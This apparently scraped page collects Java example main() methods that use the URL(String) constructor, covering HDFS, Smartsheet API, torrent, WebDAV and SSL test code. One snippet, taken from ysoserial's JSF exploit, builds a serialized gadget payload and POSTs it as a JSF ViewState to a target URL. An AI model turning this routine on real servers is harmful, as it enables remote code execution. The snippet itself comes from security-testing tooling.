List of usage examples for java.net URL URL
public URL(String spec) throws MalformedURLException
From source file:classTest.fileTest.java
public static void main(String args[]) throws IOException { hbaseDB connHB = new hbaseDB("/Users/andresbenitez/Documents/app/ABTViewer3/srvConf.properties", "HBConf2"); FileSystem hdfs = org.apache.hadoop.fs.FileSystem.get(connHB.getHcfg()); JOptionPane.showMessageDialog(null, hdfs.getHomeDirectory().toString()); JOptionPane.showMessageDialog(null, hdfs.getWorkingDirectory()); hdfs.setWorkingDirectory(new Path("hdfs://hortonserver.com:8020/user/guest/")); System.out.println(hdfs.getWorkingDirectory().toString()); String dirName = "TestDirectory"; Path destPath = new Path( "hdfs://hortonserver.e-contact.cl:8020/user/guest/20160413_000118_00011008887674_98458726_TTR42-1460516478.154581.WAV"); Path sr1 = new Path("hdfs://hortonserver.com:8020/user/guest/Test"); //hdfs.mkdirs(sr1); //FileSystem lhdfs = LocalFileSystem.get(hbconf); //System.out.println(lhdfs.getWorkingDirectory().toString()); //System.out.println(hdfs.getWorkingDirectory().toString()); //Path sourcePath = new Path("/Users/andresbenitez/Documents/Apps/test.txt"); //Path destPath = new Path("/Users/andresbenitez/Documents/Apps/test4.txt"); //hdfs.copyFromLocalFile(sourcePath, destPath); //hdfs.copyToLocalFile(false, new Path("hdfs://sandbox.hortonworks.com:8020/user/guest/installupload.log"), new Path("/Users/andresbenitez/Documents/instaldown3.log"), true); //hdfs.copyToLocalFile(false, new Path("/Users/andresbenitez/Documents/instaldown.log"), new Path("hdfs://sandbox.hortonworks.com:8020/user/guest/installupload.log"), false); //File f=new File("http://srv-gui-g.e-contact.cl/e-recorder/audio/20160413/08/01_20160413_084721_90010990790034__1460548041.4646.wav"); URL url = new URL( "http://grabacionesclaro.e-contact.cl/2011/2016041300/20160413_000118_00011008887674_98458726_TTR42-1460516478.154581.WAV"); File filePaso = new File("/Users/andresbenitez/Documents/paso/JOJOJO.WAV"); File f2 = new File( "/grabacionesclaro.e-contact.cl/2011/2016041300/20160413_000118_00011008887674_98458726_TTR42-1460516478.154581.WAV"); org.apache.commons.io.FileUtils.copyURLToFile(url, filePaso); //org.apache.commons.io.FileUtils.copyFile(f2, filePaso); //&hdfs.copyToLocalFile(false, new Path("/Users/andresbenitez/Documents/paso/JOJOJO.mp3"), destPath); //hdfs.copyFromLocalFile(false, new Path("/Users/andresbenitez/Documents/paso/JOJOJO.WAV"), destPath); }
From source file:jenkins.security.security218.ysoserial.exploit.JSF.java
public static void main(String[] args) { if (args.length < 3) { System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>"); System.exit(-1);//from w ww .j a va 2 s.c o m } final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); try { URL u = new URL(args[0]); URLConnection c = u.openConnection(); if (!(c instanceof HttpURLConnection)) { throw new IllegalArgumentException("Not a HTTP url"); } HttpURLConnection hc = (HttpURLConnection) c; hc.setDoOutput(true); hc.setRequestMethod("POST"); hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); OutputStream os = hc.getOutputStream(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(payloadObject); oos.close(); byte[] data = bos.toByteArray(); String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); os.write(requestBody.getBytes("US-ASCII")); os.close(); System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); } catch (Exception e) { e.printStackTrace(System.err); } Utils.releasePayload(args[1], payloadObject); }
From source file:HelloSmartsheet.java
public static void main(String[] args) { HttpURLConnection connection = null; StringBuilder response = new StringBuilder(); //We are using Jackson JSON parser to deserialize the JSON. See http://wiki.fasterxml.com/JacksonHome //Feel free to use which ever library you prefer. ObjectMapper mapper = new ObjectMapper(); mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); try {// www. j a v a2 s. co m System.out.println("STARTING HelloSmartsheet..."); //Create a BufferedReader to read user input. BufferedReader in = new BufferedReader(new InputStreamReader(System.in)); System.out.print("Enter Smartsheet API access token:"); String accessToken = in.readLine(); System.out.println("Fetching list of your sheets..."); //Create a connection and fetch the list of sheets connection = (HttpURLConnection) new URL(GET_SHEETS_URL).openConnection(); connection.addRequestProperty("Authorization", "Bearer " + accessToken); BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); String line; //Read the response line by line. while ((line = reader.readLine()) != null) { response.append(line); } reader.close(); //Use Jackson to conver the JSON string to a List of Sheets List<Sheet> sheets = mapper.readValue(response.toString(), new TypeReference<List<Sheet>>() { }); if (sheets.size() == 0) { System.out.println("You don't have any sheets. Goodbye!"); return; } System.out.println("Total sheets: " + sheets.size()); int i = 1; for (Sheet sheet : sheets) { System.out.println(i++ + ": " + sheet.name); } System.out.print("Enter the number of the sheet you want to share: "); //Prompt the user to provide the sheet number, the email address, and the access level Integer sheetNumber = Integer.parseInt(in.readLine().trim()); //NOTE: for simplicity, error handling and input validation is neglected. Sheet chosenSheet = sheets.get(sheetNumber - 1); System.out.print("Enter an email address to share " + chosenSheet.getName() + " to: "); String email = in.readLine(); System.out.print("Choose an access level (VIEWER, EDITOR, EDITOR_SHARE, ADMIN) for " + email + ": "); String accessLevel = in.readLine(); //Create a share object Share share = new Share(); share.setEmail(email); share.setAccessLevel(accessLevel); System.out.println("Sharing " + chosenSheet.name + " to " + email + " as " + accessLevel + "."); //Create a connection. Note the SHARE_SHEET_URL uses /sheet as opposed to /sheets (with an 's') connection = (HttpURLConnection) new URL(SHARE_SHEET_URL.replace(SHEET_ID, "" + chosenSheet.getId())) .openConnection(); connection.setDoOutput(true); connection.addRequestProperty("Authorization", "Bearer " + accessToken); connection.addRequestProperty("Content-Type", "application/json"); OutputStreamWriter writer = new OutputStreamWriter(connection.getOutputStream()); //Serialize the Share object writer.write(mapper.writeValueAsString(share)); writer.close(); //Read the response and parse the JSON reader = new BufferedReader(new InputStreamReader(connection.getInputStream())); response = new StringBuilder(); while ((line = reader.readLine()) != null) { response.append(line); } Result result = mapper.readValue(response.toString(), Result.class); System.out.println("Sheet shared successfully, share ID " + result.result.id); System.out.println("Press any key to quit."); in.read(); } catch (IOException e) { BufferedReader reader = new BufferedReader( new InputStreamReader(((HttpURLConnection) connection).getErrorStream())); String line; try { response = new StringBuilder(); while ((line = reader.readLine()) != null) { response.append(line); } reader.close(); Result result = mapper.readValue(response.toString(), Result.class); System.out.println(result.message); } catch (IOException e1) { e1.printStackTrace(); } } catch (Exception e) { System.out.println("Something broke: " + e.getMessage()); e.printStackTrace(); } }
From source file:SoundPlay.java
public static void main(String[] av) { if (av.length == 0) main(defSounds);/* w ww. j a v a2 s . co m*/ else for (int i = 0; i < av.length; i++) { System.out.println("Starting " + av[i]); try { URL snd = new URL(av[i]); // open to see if works or throws exception, close to free // fd's // snd.openConnection().getInputStream().close(); Applet.newAudioClip(snd).play(); } catch (Exception e) { System.err.println(e); } } // With this call, program exits before/during play. // Without it, on some versions, program hangs forever after play. // System.exit(0); }
From source file:info.bitoo.Main.java
public static void main(String[] args) throws InterruptedException, IOException, NoSuchAlgorithmException, ClientAdapterException { CommandLineParser parser = new PosixParser(); CommandLine cmd = null;/*from w w w . j a v a2 s. c o m*/ try { cmd = parser.parse(createCommandLineOptions(), args); } catch (ParseException e) { System.err.println("Parsing failed. Reason: " + e.getMessage()); } Properties props = readConfiguration(cmd); BiToo biToo = new BiToo(props); URL torrentURL = null; if (cmd.hasOption("f")) { String parmValue = cmd.getOptionValue("f"); String torrentName = parmValue + ".torrent"; biToo.setTorrent(torrentName); } else if (cmd.hasOption("t")) { torrentURL = new URL(cmd.getOptionValue("t")); biToo.setTorrent(torrentURL); } else { return; } try { Thread main = new Thread(biToo); main.setName("BiToo"); main.start(); //wait until thread complete main.join(); } finally { biToo.destroy(); } if (biToo.isCompleted()) { System.out.println("Download completed"); System.exit(0); } else { System.out.println("Download failed"); System.exit(1); } }
From source file:edu.toronto.cs.xcurator.cli.CLIRunner.java
public static void main(String[] args) { Options options = setupOptions();// www . ja v a 2 s.com CommandLineParser parser = new BasicParser(); try { CommandLine line = parser.parse(options, args); if (line.hasOption('t')) { fileType = line.getOptionValue('t'); } else { fileType = XML; } if (line.hasOption('o')) { tdbDirectory = line.getOptionValue('o'); File d = new File(tdbDirectory); if (!d.exists() || !d.isDirectory()) { throw new Exception("TDB directory does not exist, please create."); } } if (line.hasOption('h')) { domain = line.getOptionValue('h'); try { URL url = new URL(domain); } catch (MalformedURLException ex) { throw new Exception("The domain name is ill-formed"); } } else { printHelpAndExit(options); } if (line.hasOption('m')) { serializeMapping = true; mappingFilename = line.getOptionValue('m'); } if (line.hasOption('d')) { dirLocation = line.getOptionValue('d'); inputStreams = new ArrayList<>(); final List<String> files = Util.getFiles(dirLocation); for (String inputfile : files) { File f = new File(inputfile); if (f.isFile() && f.exists()) { System.out.println("Adding document to mapping discoverer: " + inputfile); inputStreams.add(new FileInputStream(f)); } // If it is a URL download link for the document from SEC else if (inputfile.startsWith("http") && inputfile.contains("://")) { // Download System.out.println("Adding remote document to mapping discoverer: " + inputfile); try { URL url = new URL(inputfile); InputStream remoteDocumentStream = url.openStream(); inputStreams.add(remoteDocumentStream); } catch (MalformedURLException ex) { throw new Exception("The document URL is ill-formed: " + inputfile); } catch (IOException ex) { throw new Exception("Error in downloading remote document: " + inputfile); } } else { throw new Exception("Cannot open XBRL document: " + f.getName()); } } } if (line.hasOption('f')) { fileLocation = line.getOptionValue('f'); inputStreams = new ArrayList<>(); File f = new File(fileLocation); if (f.isFile() && f.exists()) { System.out.println("Adding document to mapping discoverer: " + fileLocation); inputStreams.add(new FileInputStream(f)); } // If it is a URL download link for the document from SEC else if (fileLocation.startsWith("http") && fileLocation.contains("://")) { // Download System.out.println("Adding remote document to mapping discoverer: " + fileLocation); try { URL url = new URL(fileLocation); InputStream remoteDocumentStream = url.openStream(); inputStreams.add(remoteDocumentStream); } catch (MalformedURLException ex) { throw new Exception("The document URL is ill-formed: " + fileLocation); } catch (IOException ex) { throw new Exception("Error in downloading remote document: " + fileLocation); } } else { throw new Exception("Cannot open XBRL document: " + f.getName()); } } setupDocumentBuilder(); RdfFactory rdfFactory = new RdfFactory(new RunConfig(domain)); List<Document> documents = new ArrayList<>(); for (InputStream inputStream : inputStreams) { Document dataDocument = null; if (fileType.equals(JSON)) { String json = IOUtils.toString(inputStream); final String xml = Util.json2xml(json); final InputStream xmlInputStream = IOUtils.toInputStream(xml); dataDocument = createDocument(xmlInputStream); } else { dataDocument = createDocument(inputStream); } documents.add(dataDocument); } if (serializeMapping) { System.out.println("Mapping file will be saved to: " + new File(mappingFilename).getAbsolutePath()); rdfFactory.createRdfs(documents, tdbDirectory, mappingFilename); } else { rdfFactory.createRdfs(documents, tdbDirectory); } } catch (Exception ex) { ex.printStackTrace(); System.err.println("Unexpected exception: " + ex.getMessage()); System.exit(1); } }
From source file:org.javaee7.ejb.stateless.remote.AccountSessionBeanWithInterface.java
public static void main(String[] args) { try {// w w w.ja v a2s. com ObjectMapper mapper = new ObjectMapper(); URL url = new URL("http://localhost:8180/account-1.0-SNAPSHOT/statistics"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET"); conn.setRequestProperty("Accept", "application/json"); if (conn.getResponseCode() != 200) { throw new RuntimeException("Failed : HTTP error code : " + conn.getResponseCode()); } BufferedReader br = new BufferedReader(new InputStreamReader((conn.getInputStream()))); String output; String result = null; while ((output = br.readLine()) != null) { result = result + output; } conn.disconnect(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } }
From source file:at.fhooe.mcm.webdav.WebDavInterface.java
public static void main(String[] args) throws Exception { URL x = new URL("http://USER:PASSWORD@privatenotes.dyndns-server.com/webdav2/USER"); System.out.println(x.getAuthority()); /*/*from w w w . j a v a 2 s .co m*/ WebDavInterface wdi = new WebDavInterface("http://USER:PW@privatenotes.dyndns-server.com/webdav2/USER"); Vector<String> children = wdi.getAllChildren(); for (String c : children) { System.out.println(c); } wdi.download("manifest.xml", new File("D:/mymanifest.xml")); wdi.upload(new File("D:/hello.txt"), "supersecretNOT.txt");*/ }
From source file:com.yahoo.athenz.example.ntoken.HttpExampleClient.java
public static void main(String[] args) throws MalformedURLException, IOException { // parse our command line to retrieve required input CommandLine cmd = parseCommandLine(args); String domainName = cmd.getOptionValue("domain"); String serviceName = cmd.getOptionValue("service"); String privateKeyPath = cmd.getOptionValue("pkey"); String keyId = cmd.getOptionValue("keyid"); String url = cmd.getOptionValue("url"); // we need to generate our principal credentials (ntoken). In // addition to the domain and service names, we need the // the service's private key and the key identifier - the // service with the corresponding public key must already be // registered in ZMS PrivateKey privateKey = Crypto.loadPrivateKey(new File(privateKeyPath)); ServiceIdentityProvider identityProvider = new SimpleServiceIdentityProvider(domainName, serviceName, privateKey, keyId);/*w w w .j a v a 2 s . c om*/ Principal principal = identityProvider.getIdentity(domainName, serviceName); URL obj = new URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); // set our Athenz credentials. The authority in the principal provides // the header name that we must use for credentials while the principal // itself provides the credentials (ntoken). con.setRequestProperty(principal.getAuthority().getHeader(), principal.getCredentials()); // now process our request int responseCode = con.getResponseCode(); switch (responseCode) { case HttpURLConnection.HTTP_FORBIDDEN: System.out.println("Request was forbidden - not authorized: " + con.getResponseMessage()); break; case HttpURLConnection.HTTP_OK: System.out.println("Successful response: "); try (BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()))) { String inputLine; while ((inputLine = in.readLine()) != null) { System.out.println(inputLine); } } break; default: System.out.println("Request failed - response status code: " + responseCode); } }
From source file:com.maverick.ssl.SSLSocket.java
public static void main(String[] args) { try {/*from ww w . j a va 2 s . c o m*/ HttpsURLStreamHandlerFactory.addHTTPSSupport(); URL url = new URL("https://localhost"); //$NON-NLS-1$ URLConnection con = url.openConnection(); con.setDoInput(true); con.setDoOutput(false); con.setAllowUserInteraction(false); con.setRequestProperty("Accept", //$NON-NLS-1$ "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*"); //$NON-NLS-1$ con.setRequestProperty("Accept-Encoding", "gzip, deflate"); //$NON-NLS-1$ //$NON-NLS-2$ con.setRequestProperty("Accept-Language", "en-gb"); //$NON-NLS-1$ //$NON-NLS-2$ con.setRequestProperty("Connection", "Keep-Alive"); //$NON-NLS-1$ //$NON-NLS-2$ con.setRequestProperty("User-Agent", //$NON-NLS-1$ "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"); //$NON-NLS-1$ con.connect(); InputStream in = con.getInputStream(); int read; while ((read = in.read()) > -1) { System.out.write(read); } } catch (SSLIOException ex) { ex.getRealException().printStackTrace(); } catch (IOException ex) { ex.printStackTrace(); } }